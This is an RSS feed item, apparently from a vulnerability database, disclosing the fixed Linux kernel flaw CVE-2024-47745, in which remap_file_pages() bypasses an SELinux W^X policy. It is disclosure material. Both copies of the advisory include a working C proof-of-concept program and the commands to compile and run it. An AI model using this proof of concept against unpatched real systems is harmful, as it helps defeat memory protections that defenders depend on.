<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Mon, 05 Oct 2026 06:53:51 +0000</lastBuildDate>
    <item>
      <title>CVE-2024-47745 — mm: call the security_mmap_file() LSM hook in remap_file_pages()</title>
      <link>https://vulnerability.circl.lu/vuln/cve-2024-47745</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Linux&lt;/p&gt;
&lt;p&gt;In the Linux kernel, the following vulnerability has been resolved:&lt;/p&gt;
&lt;p&gt;mm: call the security_mmap_file() LSM hook in remap_file_pages()&lt;/p&gt;
&lt;p&gt;The remap_file_pages syscall handler calls do_mmap() directly, which
doesn&amp;#39;t contain the LSM security check. And if the process has called
personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for
RW pages, this will actually result in remapping the pages to RWX,
bypassing a W^X policy enforced by SELinux.&lt;/p&gt;
&lt;p&gt;So we should check prot by security_mmap_file LSM hook in the
remap_file_pages syscall handler before do_mmap() is called. Otherwise, it
potentially permits an attacker to bypass a W^X policy enforced by
SELinux.&lt;/p&gt;
&lt;p&gt;The bypass is similar to CVE-2016-10044, which bypass the same thing via
AIO and can be found in [1].&lt;/p&gt;
&lt;p&gt;The PoC:&lt;/p&gt;
&lt;p&gt;$ cat &amp;gt; test.c&lt;/p&gt;
&lt;p&gt;int main(void) {
	size_t pagesz = sysconf(_SC_PAGE_SIZE);
	int mfd = syscall(SYS_memfd_create, &amp;#34;test&amp;#34;, 0);
	const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,
		MAP_SHARED, mfd, 0);
	unsigned int old = syscall(SYS_personality, 0xffffffff);
	syscall(SYS_personality, READ_IMPLIES_EXEC | old);
	syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);
	syscall(SYS_personality, old);
	// show the RWX page exists even if W^X policy is enforced
	int fd = open(&amp;#34;/proc/self/maps&amp;#34;, O_RDONLY);
	unsigned char buf2[1024];
	while (1) {
		int ret = read(fd, buf2, 1024);
		if (ret &amp;lt;= 0) break;
		write(1, buf2, ret);
	}
	close(fd);
}&lt;/p&gt;
&lt;p&gt;$ gcc test.c -o test
$ ./test | grep rwx
7f1836c34000-7f1836…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Linux&lt;/p&gt;
&lt;p&gt;In the Linux kernel, the following vulnerability has been resolved:&lt;/p&gt;
&lt;p&gt;mm: call the security_mmap_file() LSM hook in remap_file_pages()&lt;/p&gt;
&lt;p&gt;The remap_file_pages syscall handler calls do_mmap() directly, which
doesn&amp;#39;t contain the LSM security check. And if the process has called
personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for
RW pages, this will actually result in remapping the pages to RWX,
bypassing a W^X policy enforced by SELinux.&lt;/p&gt;
&lt;p&gt;So we should check prot by security_mmap_file LSM hook in the
remap_file_pages syscall handler before do_mmap() is called. Otherwise, it
potentially permits an attacker to bypass a W^X policy enforced by
SELinux.&lt;/p&gt;
&lt;p&gt;The bypass is similar to CVE-2016-10044, which bypass the same thing via
AIO and can be found in [1].&lt;/p&gt;
&lt;p&gt;The PoC:&lt;/p&gt;
&lt;p&gt;$ cat &amp;gt; test.c&lt;/p&gt;
&lt;p&gt;int main(void) {
	size_t pagesz = sysconf(_SC_PAGE_SIZE);
	int mfd = syscall(SYS_memfd_create, &amp;#34;test&amp;#34;, 0);
	const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,
		MAP_SHARED, mfd, 0);
	unsigned int old = syscall(SYS_personality, 0xffffffff);
	syscall(SYS_personality, READ_IMPLIES_EXEC | old);
	syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);
	syscall(SYS_personality, old);
	// show the RWX page exists even if W^X policy is enforced
	int fd = open(&amp;#34;/proc/self/maps&amp;#34;, O_RDONLY);
	unsigned char buf2[1024];
	while (1) {
		int ret = read(fd, buf2, 1024);
		if (ret &amp;lt;= 0) break;
		write(1, buf2, ret);
	}
	close(fd);
}&lt;/p&gt;
&lt;p&gt;$ gcc test.c -o test
$ ./test | grep rwx
7f1836c34000-7f1836…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/cve-2024-47745</guid>
    </item>
  </channel>
</rss>
